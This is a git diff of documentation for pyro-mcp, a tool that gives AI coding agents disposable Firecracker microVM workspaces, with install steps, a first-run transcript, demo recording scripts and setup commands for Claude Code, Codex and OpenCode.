5. Start with one recipe from [docs/use-cases/README.md](docs/use-cases/README.md).
`repro-fix` is the shortest chat-first mode and story.
6. Use `workspace reset` as the normal retry step inside that warmed loop.
7. Use `make smoke-use-cases` as the trustworthy guest-backed verification path
for the advertised workflows.
That is the intended user journey. The terminal commands exist to validate and
debug that chat-host path, not to replace it as the main product story.
## Manual Terminal Workspace Flow
If you want to understand what the agent gets inside the sandbox, or debug a
recipe outside the chat host, use the terminal companion flow below:
```bash
uv tool install pyro-mcp
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
pyro workspace list
pyro workspace sync push "$WORKSPACE_ID" ./changes
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
pyro workspace summary "$WORKSPACE_ID"
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
pyro workspace delete "$WORKSPACE_ID"
```
Add `workspace-full` only when the chat or your manual debugging loop really
needs:
- persistent PTY shells
- long-running services and readiness probes
- guest networking and published ports
- secrets
- stopped-workspace disk inspection
The five recipe docs show when those capabilities are justified:
[docs/use-cases/README.md](docs/use-cases/README.md)
## Official Environments
@ -41,145 +259,10 @@ Current official environments in the shipped catalog:
- `debian:12-base`
- `debian:12-build`
The package ships the embedded Firecracker runtime and a package-controlled environment catalog.
Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local
cache on first use or through `pyro env pull`.
End users do not need registry credentials to pull or run official environments.
## CLI
List available environments:
```bash
pyro env list
```
Prefetch one environment:
```bash
pyro env pull debian:12
```
Run one command in an ephemeral VM:
```bash
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
```
Run with outbound internet enabled:
```bash
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \
"git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree"
```
Show runtime and host diagnostics:
```bash
pyro doctor
```
Run the deterministic demo:
```bash
pyro demo
pyro demo --network
```
Run the Ollama demo:
```bash
ollama serve
ollama pull llama3.2:3b
pyro demo ollama
```
## Python SDK
```python
from pyro_mcp import Pyro
pyro = Pyro()
result = pyro.run_in_vm(
environment="debian:12",
command="git --version",
vcpu_count=1,
mem_mib=1024,
timeout_seconds=30,
network=False,
)
print(result["stdout"])
```
Lower-level lifecycle control remains available:
```python
from pyro_mcp import Pyro
pyro = Pyro()
created = pyro.create_vm(
environment="debian:12",
vcpu_count=1,
mem_mib=1024,
ttl_seconds=600,
network=True,
)
vm_id = created["vm_id"]
pyro.start_vm(vm_id)
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
print(result["stdout"])
```
Environment management is also available through the SDK:
```python
from pyro_mcp import Pyro
pyro = Pyro()
print(pyro.list_environments())
print(pyro.inspect_environment("debian:12"))
```
## MCP Tools
Primary agent-facing tool:
- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)`
Advanced lifecycle tools:
- `vm_list_environments()`
- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)`
- `vm_start(vm_id)`
- `vm_exec(vm_id, command, timeout_seconds=30)`
- `vm_stop(vm_id)`
- `vm_delete(vm_id)`
- `vm_status(vm_id)`
- `vm_network_info(vm_id)`
- `vm_reap_expired()`
## Integration Examples
- Python one-shot SDK example: [examples/python_run.py](examples/python_run.py)
- Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py)
- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md)
- Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json)
- Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json)
- OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py)
- LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py)
- Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py)
## Runtime
The package ships an embedded Linux x86_64 runtime payload with:
- Firecracker
- Jailer
- guest agent
- runtime manifest and diagnostics
No system Firecracker installation is required.
`pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`.
The embedded Firecracker runtime ships with the package. Official environments
are pulled as OCI artifacts from public Docker Hub into a local cache on first
use or through `pyro env pull`. End users do not need registry credentials to
pull or run the official environments.
## Contributor Workflow
@ -192,11 +275,14 @@ make check
make dist-check
```
Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`.
Contributor runtime sources live under `runtime_sources/`. The packaged runtime
bundle under `src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime
assets plus manifest metadata. End-user environment installs pull
OCI-published environments by default. Use
`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly
validating a locally built contributor runtime bundle.
Official environment publication is automated through
`.github/workflows/publish-environments.yml`.
For a local publish against Docker Hub:
Official environment publication is performed locally against Docker Hub:
```bash
export DOCKERHUB_USERNAME='your-dockerhub-username'
@ -205,20 +291,9 @@ make runtime-materialize
make runtime-publish-official-environments-oci
```
`make runtime-publish-environment-oci` auto-exports the OCI layout for the selected
environment if it is missing.
The publisher accepts either `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` or
`OCI_REGISTRY_USERNAME` and `OCI_REGISTRY_PASSWORD`.
Docker Hub uploads are chunked by default for large rootfs layers; if you need to tune a slow
link, use `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and
`PYRO_OCI_REQUEST_TIMEOUT_SECONDS`.
For a local PyPI publish:
```bash
export TWINE_PASSWORD='pypi-...'
make pypi-publish
```
`make pypi-publish` defaults `TWINE_USERNAME` to `__token__`.
Set `PYPI_REPOSITORY_URL=https://test.pypi.org/legacy/` to publish to TestPyPI instead.

BIN
docs/assets/first-run.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 MiB

View file

@ -0,0 +1,44 @@
Output docs/assets/first-run.gif
Require uv
Set Shell "zsh"
Set FontSize 18
Set Width 1200
Set Height 760
Set Theme "Dracula"
Set TypingSpeed 35ms
Set Padding 24
Set WindowBar Colorful
Hide
Type "cd /home/thales/projects/personal/pyro"
Enter
Type "export UV_CACHE_DIR=.uv-cache"
Enter
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
Enter
Type "uvx --from pyro-mcp pyro --version >/dev/null"
Enter
Show
Type "# Check that the host can boot and run guests"
Enter
Sleep 700ms
Type "uvx --from pyro-mcp pyro doctor"
Enter
Sleep 2200ms
Type "# Pull the default environment into a fresh local cache"
Enter
Sleep 700ms
Type "uvx --from pyro-mcp pyro env pull debian:12"
Enter
Sleep 2200ms
Type "# Run one isolated command inside an ephemeral microVM"
Enter
Sleep 700ms
Type "uvx --from pyro-mcp pyro run debian:12 -- git --version"
Enter
Sleep 2600ms

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 MiB

View file

@ -0,0 +1,104 @@
Output docs/assets/workspace-first-run.gif
Require uv
Require python3
Set Shell "zsh"
Set FontSize 18
Set Width 1480
Set Height 900
Set Theme "Dracula"
Set TypingSpeed 34ms
Set Padding 24
Set WindowBar Colorful
Hide
Type "cd /home/thales/projects/personal/pyro"
Enter
Type "setopt interactivecomments"
Enter
Type "export UV_CACHE_DIR=.uv-cache"
Enter
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
Enter
Type "alias pyro='uv run pyro'"
Enter
Type "SEED_DIR=$(mktemp -d)"
Enter
Type "EXPORT_DIR=$(mktemp -d)"
Enter
Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"'
Enter
Type 'printf "%s\n" "--- a/note.txt" "+++ b/note.txt" "@@ -1 +1 @@" "-hello from seed" "+hello from patch" > "$SEED_DIR/fix.patch"'
Enter
Type 'printf "%s\n" "temporary drift" > "$SEED_DIR/drift.txt"'
Enter
Type "pyro env pull debian:12 >/dev/null"
Enter
Show
Type "# Create a named workspace from host content"
Enter
Sleep 700ms
Type 'WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path "$SEED_DIR" --name repro-fix --label issue=123 --id-only)"'
Enter
Sleep 500ms
Type 'echo "$WORKSPACE_ID"'
Enter
Sleep 1600ms
Type "# Inspect the seeded file, then patch it without shell quoting"
Enter
Sleep 700ms
Type 'pyro workspace file read "$WORKSPACE_ID" note.txt --content-only'
Enter
Sleep 1400ms
Type 'pyro workspace patch apply "$WORKSPACE_ID" --patch-file "$SEED_DIR/fix.patch"'
Enter
Sleep 1800ms
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
Enter
Sleep 1800ms
Type "# Capture a checkpoint, then drift away from it"
Enter
Sleep 700ms
Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint'
Enter
Sleep 1600ms
Type 'pyro workspace file write "$WORKSPACE_ID" note.txt --text-file "$SEED_DIR/drift.txt"'
Enter
Sleep 1800ms
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
Enter
Sleep 1800ms
Type "# Start one service, then reset the whole sandbox to the checkpoint"
Enter
Sleep 700ms
Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"'
Enter
Sleep 2200ms
Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint'
Enter
Sleep 2200ms
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
Enter
Sleep 1800ms
Type "# Export the recovered file back to the host"
Enter
Sleep 700ms
Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"'
Enter
Sleep 1800ms
Type 'cat "$EXPORT_DIR/note.txt"'
Enter
Sleep 1600ms
Type "# Remove the workspace when the loop is done"
Enter
Sleep 700ms
Type 'pyro workspace delete "$WORKSPACE_ID"'
Enter
Sleep 2000ms

232
docs/first-run.md Normal file
View file

@ -0,0 +1,232 @@
# First Run Transcript
This is the intended evaluator-to-chat-host path for a first successful run on
a supported host.
Copy the commands as-is. Paths and timing values will differ on your machine.
The same sequence works with an installed `pyro` binary by dropping the
`uvx --from pyro-mcp` prefix. If you are running from a source checkout
instead of the published package, replace `pyro` with `uv run pyro`.
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
path is still being shaped.
## 1. Verify the host
```bash
$ uvx --from pyro-mcp pyro doctor --environment debian:12
Platform: linux-x86_64
Runtime: PASS
KVM: exists=yes readable=yes writable=yes
Environment cache: /home/you/.cache/pyro-mcp/environments
Catalog version: 4.5.0
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
Networking: tun=yes ip_forward=yes
Daily loop: COLD (debian:12)
Run: pyro prepare debian:12
```
## 2. Inspect the catalog
```bash
$ uvx --from pyro-mcp pyro env list
Catalog version: 4.4.0
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
```
## 3. Pull the default environment
The first pull downloads an OCI environment from public Docker Hub, requires
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
for the guest image. See [host-requirements.md](host-requirements.md) for the
full host requirements.
```bash
$ uvx --from pyro-mcp pyro env pull debian:12
[pull] phase=install environment=debian:12
[pull] phase=ready environment=debian:12
Pulled: debian:12
Version: 1.0.0
Distribution: debian 12
Installed: yes
Cache dir: /home/you/.cache/pyro-mcp/environments
Default packages: bash, coreutils, git
Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0
OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0
```
## 4. Run one command in a guest
```bash
$ uvx --from pyro-mcp pyro run debian:12 -- git --version
[run] phase=create environment=debian:12
[run] phase=start vm_id=...
[run] phase=execute vm_id=...
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
git version ...
```
The guest command output and the `[run] ...` summary are written to different
streams, so they may appear in either order in terminals or capture tools. Use
`--json` if you need a deterministic structured result.
## 5. Start the MCP server
Warm the daily loop first so the host is already ready for repeated create and
reset cycles:
```bash
$ uvx --from pyro-mcp pyro prepare debian:12
Prepare: debian:12
Daily loop: WARM
Result: prepared network_prepared=no
```
Use a named mode when one workflow already matches the job:
```bash
$ uvx --from pyro-mcp pyro mcp serve --mode repro-fix
$ uvx --from pyro-mcp pyro mcp serve --mode inspect
$ uvx --from pyro-mcp pyro mcp serve --mode cold-start
$ uvx --from pyro-mcp pyro mcp serve --mode review-eval
```
Use the generic no-mode path when the mode feels too narrow. Bare
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
auto-detects the current Git checkout so the first `workspace_create` can omit
`seed_path`:
```bash
$ uvx --from pyro-mcp pyro mcp serve
```
If the host does not preserve the server working directory:
```bash
$ uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
```
If you are outside a local checkout:
```bash
$ uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
```
## 6. Connect a chat host
Use the helper flow first:
```bash
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
$ uvx --from pyro-mcp pyro host connect codex --mode inspect
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
$ uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
$ uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
```
If setup drifts later:
```bash
$ uvx --from pyro-mcp pyro host doctor
$ uvx --from pyro-mcp pyro host repair claude-code
$ uvx --from pyro-mcp pyro host repair codex
$ uvx --from pyro-mcp pyro host repair opencode
```
Claude Code cold-start or review-eval:
```bash
$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
$ claude mcp list
```
Codex repro-fix or inspect:
```bash
$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix
$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
$ codex mcp list
```
OpenCode uses the local config shape shown in:
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
Other host-specific references:
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
- [codex_mcp.md](../examples/codex_mcp.md)
- [mcp_client_config.md](../examples/mcp_client_config.md)
## 7. Continue into a real workflow
Once the host is connected, move to one of the five recipe docs in
[use-cases/README.md](use-cases/README.md).
The shortest chat-first mode and story is:
- [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md)
If you want terminal-level visibility into what the agent gets, use the manual
workspace flow below:
```bash
$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
$ uvx --from pyro-mcp pyro workspace list
$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes
$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
$ uvx --from pyro-mcp pyro workspace summary "$WORKSPACE_ID"
$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID"
```
Move to the generic no-mode path when the named mode is too narrow. Move to
`--profile workspace-full` only when the chat really needs shells, services,
snapshots, secrets, network policy, or disk tools.
## 8. Trust the smoke pack
The repo now treats the full smoke pack as the trustworthy guest-backed
verification path for the advertised workflows:
```bash
$ make smoke-use-cases
```
That runner creates real guest-backed workspaces, exercises all five documented
stories, exports concrete results where relevant, and cleans up on both success
and failure.
For the machine-level warmup plus retry story specifically:
```bash
$ make smoke-daily-loop
```
## 9. Optional one-shot demo
```bash
$ uvx --from pyro-mcp pyro demo
{
"cleanup": {
"deleted": true,
"reason": "post_exec_cleanup",
"vm_id": "..."
},
"command": "git --version",
"environment": "debian:12",
"execution_mode": "guest_vsock",
"exit_code": 0,
"stdout": "git version ...\n"
}
```
`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end
to end.

View file

@ -25,7 +25,19 @@ The current implementation uses `sudo -n` for host networking commands when a ne
pyro doctor
```
Check these fields in the output:
In the default human-readable output, check:
- `Runtime: PASS`
- `KVM: exists=yes readable=yes writable=yes`
- `Networking: tun=yes ip_forward=yes`
If you need the raw structured fields instead:
```bash
pyro doctor --json
```
Check:
- `runtime_ok`
- `kvm`

View file

@ -1,56 +1,312 @@
# Install
## Requirements
`pyro-mcp` is built for chat-based coding agents on Linux `x86_64` with KVM.
This document is intentionally biased toward that path.
- Linux x86_64 host
- Python 3.12+
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
flow is still being shaped.
## Support Matrix
Supported today:
- Linux `x86_64`
- Python `3.12+`
- `uv`
- `/dev/kvm`
If you want outbound guest networking:
Optional for outbound guest networking:
- `ip`
- `nft` or `iptables`
- privilege to create TAP devices and configure NAT
## Fastest Start
Not supported today:
Run the MCP server directly from the package without a manual install:
- macOS
- Windows
- Linux hosts without working KVM at `/dev/kvm`
If you do not already have `uv`, install it first:
```bash
uvx --from pyro-mcp pyro mcp serve
python -m pip install uv
```
Prefetch the default official environment:
Use these command forms consistently:
- published package without install: `uvx --from pyro-mcp pyro ...`
- installed package: `pyro ...`
- source checkout: `uv run pyro ...`
## Fastest Evaluation Path
Use either of these equivalent evaluator paths:
```bash
uvx --from pyro-mcp pyro env pull debian:12
# Package without install
uvx --from pyro-mcp pyro doctor
uvx --from pyro-mcp pyro prepare debian:12
uvx --from pyro-mcp pyro run debian:12 -- git --version
```
Run one command in a curated environment:
```bash
uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
# Already installed
pyro doctor
pyro prepare debian:12
pyro run debian:12 -- git --version
```
Inspect the official environment catalog:
If you are running from a repo checkout instead, replace `pyro` with
`uv run pyro`.
After that one-shot proof works, the intended next step is a warmed daily loop
plus a named chat mode through `pyro host connect` or `pyro host print-config`.
## 1. Check the host
```bash
uvx --from pyro-mcp pyro doctor --environment debian:12
```
Expected success signals:
```bash
Platform: linux-x86_64
Runtime: PASS
KVM: exists=yes readable=yes writable=yes
Environment cache: /home/you/.cache/pyro-mcp/environments
Catalog version: 4.5.0
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
Networking: tun=yes ip_forward=yes
Daily loop: COLD (debian:12)
Run: pyro prepare debian:12
```
If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md).
## 2. Inspect the catalog
```bash
uvx --from pyro-mcp pyro env list
```
Expected output:
```bash
Catalog version: 4.4.0
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
```
## 3. Pull the default environment
```bash
uvx --from pyro-mcp pyro env pull debian:12
```
The first pull downloads an OCI environment from public Docker Hub, requires
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
for the guest image. See [host-requirements.md](host-requirements.md) for the
full host requirements.
Expected success signals:
```bash
[pull] phase=install environment=debian:12
[pull] phase=ready environment=debian:12
Pulled: debian:12
...
```
## 4. Run one command in a guest
```bash
uvx --from pyro-mcp pyro run debian:12 -- git --version
```
Expected success signals:
```bash
[run] phase=create environment=debian:12
[run] phase=start vm_id=...
[run] phase=execute vm_id=...
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
git version ...
```
The guest command output and the `[run] ...` summary are written to different
streams, so they may appear in either order. Use `--json` if you need a
deterministic structured result.
## 5. Warm the daily loop
```bash
uvx --from pyro-mcp pyro prepare debian:12
```
That one command ensures the environment is installed, proves one guest-backed
create/exec/reset/delete loop, and records a warm manifest so the next
`pyro prepare debian:12` call can reuse it instead of repeating the full cycle.
## 6. Connect a chat host
Use the helper flow first:
```bash
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
uvx --from pyro-mcp pyro host connect codex --mode inspect
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
```
If setup drifts later, inspect and repair it with:
```bash
uvx --from pyro-mcp pyro host doctor
uvx --from pyro-mcp pyro host repair claude-code
uvx --from pyro-mcp pyro host repair codex
uvx --from pyro-mcp pyro host repair opencode
```
Use a named mode when one workflow already matches the job:
```bash
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
uvx --from pyro-mcp pyro mcp serve --mode inspect
uvx --from pyro-mcp pyro mcp serve --mode cold-start
uvx --from pyro-mcp pyro mcp serve --mode review-eval
```
Use the generic no-mode path when the mode feels too narrow. Bare
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
auto-detects the current Git checkout so the first `workspace_create` can omit
`seed_path`.
```bash
uvx --from pyro-mcp pyro mcp serve
```
If the host does not preserve the server working directory, use:
```bash
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
```
If you are starting outside a local checkout, use a clean clone source:
```bash
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
```
Copy-paste host-specific starts:
- Claude Code setup: [claude_code_mcp.md](../examples/claude_code_mcp.md)
- Codex setup: [codex_mcp.md](../examples/codex_mcp.md)
- OpenCode config: [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
- Generic MCP fallback: [mcp_client_config.md](../examples/mcp_client_config.md)
Claude Code cold-start or review-eval:
```bash
pyro host connect claude-code --mode cold-start
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
```
Codex repro-fix or inspect:
```bash
pyro host connect codex --mode repro-fix
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
```
OpenCode uses the `mcp` / `type: "local"` config shape shown in
[opencode_mcp_config.json](../examples/opencode_mcp_config.json).
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
`pyro` in the same command or config shape.
Use the generic no-mode path when the named mode is too narrow. Move to
`--profile workspace-full` only when the chat truly needs shells, services,
snapshots, secrets, network policy, or disk tools.
## 7. Go from zero to hero
The intended user journey is:
1. validate the host with `pyro doctor --environment debian:12`
2. warm the machine with `pyro prepare debian:12`
3. prove guest execution with `pyro run debian:12 -- git --version`
4. connect Claude Code, Codex, or OpenCode with one named mode such as
`pyro host connect codex --mode repro-fix`, then use raw
`pyro mcp serve --mode ...` or the generic no-mode path when needed
5. use `workspace reset` as the normal retry step inside that warmed loop
6. start with one use-case recipe from [use-cases/README.md](use-cases/README.md)
7. trust but verify with `make smoke-use-cases`
If you want the shortest chat-first story, start with
[use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md).
## 8. Manual terminal workspace flow
If you want to inspect the workspace model directly from the terminal, use the
companion flow below. This is for understanding and debugging the chat-host
product, not the primary story.
```bash
uv tool install pyro-mcp
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
pyro workspace list
pyro workspace update "$WORKSPACE_ID" --label owner=codex
pyro workspace sync push "$WORKSPACE_ID" ./changes
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
pyro workspace summary "$WORKSPACE_ID"
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
pyro workspace delete "$WORKSPACE_ID"
```
When you need deeper debugging or richer recipes, add:
- `pyro workspace shell *` for interactive PTY state
- `pyro workspace service *` for long-running processes and readiness probes
- `pyro workspace create --network-policy egress+published-ports` plus
`workspace service start --publish` for host-probed services
- `pyro workspace create --secret` and `--secret-file` when the sandbox needs
private tokens
- `pyro workspace stop` plus `workspace disk *` for offline inspection
## 9. Trustworthy verification path
The five recipe docs in [use-cases/README.md](use-cases/README.md) are backed
by a real Firecracker smoke pack:
```bash
make smoke-use-cases
```
Treat that smoke pack as the trustworthy guest-backed verification path for the
advertised chat-host workflows.
## Installed CLI
If you already installed the package, the same path works with plain `pyro ...`:
```bash
uv tool install pyro-mcp
pyro --version
pyro env list
pyro env pull debian:12
pyro env inspect debian:12
pyro doctor
pyro doctor --environment debian:12
pyro prepare debian:12
pyro run debian:12 -- git --version
pyro mcp serve
```
## Contributor Clone
## Contributor clone
```bash
git lfs install

View file

@ -1,99 +1,257 @@
# Integration Targets
# Chat Host Integrations
These are the main ways to integrate `pyro-mcp` into an LLM application.
This page documents the intended product path for `pyro-mcp`:
## Recommended Default
- validate the host with the CLI
- warm the daily loop with `pyro prepare debian:12`
- run `pyro mcp serve`
- connect a chat host
- let the agent work inside disposable workspaces
Use `vm_run` first.
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
path is still being shaped.
That keeps the model-facing contract small:
Use this page after you have already validated the host and guest execution
through [install.md](install.md) or [first-run.md](first-run.md).
- one tool
- one command
- one ephemeral VM
- automatic cleanup
Recommended first commands before connecting a host:
Only move to lifecycle tools when the agent truly needs VM state across multiple calls.
```bash
pyro doctor --environment debian:12
pyro prepare debian:12
```
## OpenAI Responses API
## Recommended Modes
Best when:
Use a named mode when one workflow already matches the job:
- your agent already uses OpenAI models directly
- you want a normal tool-calling loop instead of MCP transport
- you want the smallest amount of integration code
```bash
pyro host connect codex --mode repro-fix
pyro host connect codex --mode inspect
pyro host connect claude-code --mode cold-start
pyro host connect claude-code --mode review-eval
```
Recommended surface:
The mode-backed raw server forms are:
- `vm_run`
```bash
pyro mcp serve --mode repro-fix
pyro mcp serve --mode inspect
pyro mcp serve --mode cold-start
pyro mcp serve --mode review-eval
```
Canonical example:
Use the generic no-mode path only when the named mode feels too narrow.
- [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py)
## Generic Default
## MCP Clients
Bare `pyro mcp serve` starts `workspace-core`. From a repo root, it also
auto-detects the current Git checkout so the first `workspace_create` can omit
`seed_path`. That is the product path.
Best when:
```bash
pyro mcp serve
```
- your host application already supports MCP
- you want `pyro` to run as an external stdio server
- you want tool schemas to be discovered directly from the server
If the host does not preserve cwd, fall back to:
Recommended entrypoint:
```bash
pyro mcp serve --project-path /abs/path/to/repo
```
- `pyro mcp serve`
If you are outside a repo checkout entirely, start from a clean clone source:
Starter config:
```bash
pyro mcp serve --repo-url https://github.com/example/project.git
```
- [examples/mcp_client_config.md](../examples/mcp_client_config.md)
- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json)
- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json)
Use `--profile workspace-full` only when the chat truly needs shells, services,
snapshots, secrets, network policy, or disk tools.
## Direct Python SDK
## Helper First
Best when:
Use the helper flow before the raw host CLI commands:
- your application owns orchestration itself
- you do not need MCP transport
- you want direct access to `Pyro`
```bash
pyro host connect codex --mode repro-fix
pyro host connect codex --mode inspect
pyro host connect claude-code --mode cold-start
pyro host connect claude-code --mode review-eval
pyro host print-config opencode --mode repro-fix
pyro host doctor
pyro host repair opencode
```
Recommended default:
These helpers wrap the same `pyro mcp serve` entrypoint, make named modes the
first user-facing story, and still leave the generic no-mode path available
when a mode is too narrow.
- `Pyro.run_in_vm(...)`
## Claude Code
Examples:
Preferred:
- [examples/python_run.py](../examples/python_run.py)
- [examples/python_lifecycle.py](../examples/python_lifecycle.py)
```bash
pyro host connect claude-code --mode cold-start
```
## Agent Framework Wrappers
Repair:
Examples:
```bash
pyro host repair claude-code
```
- LangChain tools
- PydanticAI tools
- custom in-house orchestration layers
Package without install:
Best when:
```bash
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
claude mcp list
```
- you already have an application framework that expects a Python callable tool
- you want to wrap `vm_run` behind framework-specific abstractions
If Claude Code launches the server from an unexpected cwd, use:
Recommended pattern:
```bash
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
```
- keep the framework wrapper thin
- map framework tool input directly onto `vm_run`
- avoid exposing lifecycle tools unless the framework truly needs them
Already installed:
Concrete example:
```bash
claude mcp add pyro -- pyro mcp serve
claude mcp list
```
- [examples/langchain_vm_run.py](../examples/langchain_vm_run.py)
Reference:
## Selection Rule
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
Choose the narrowest integration that matches the host environment:
## Codex
1. OpenAI Responses API if you want a direct provider tool loop.
2. MCP if your host already speaks MCP.
3. Python SDK if you own orchestration and do not need transport.
4. Framework wrappers only as thin adapters over the same `vm_run` contract.
Preferred:
```bash
pyro host connect codex --mode repro-fix
```
Repair:
```bash
pyro host repair codex
```
Package without install:
```bash
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
codex mcp list
```
If Codex launches the server from an unexpected cwd, use:
```bash
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
```
Already installed:
```bash
codex mcp add pyro -- pyro mcp serve
codex mcp list
```
Reference:
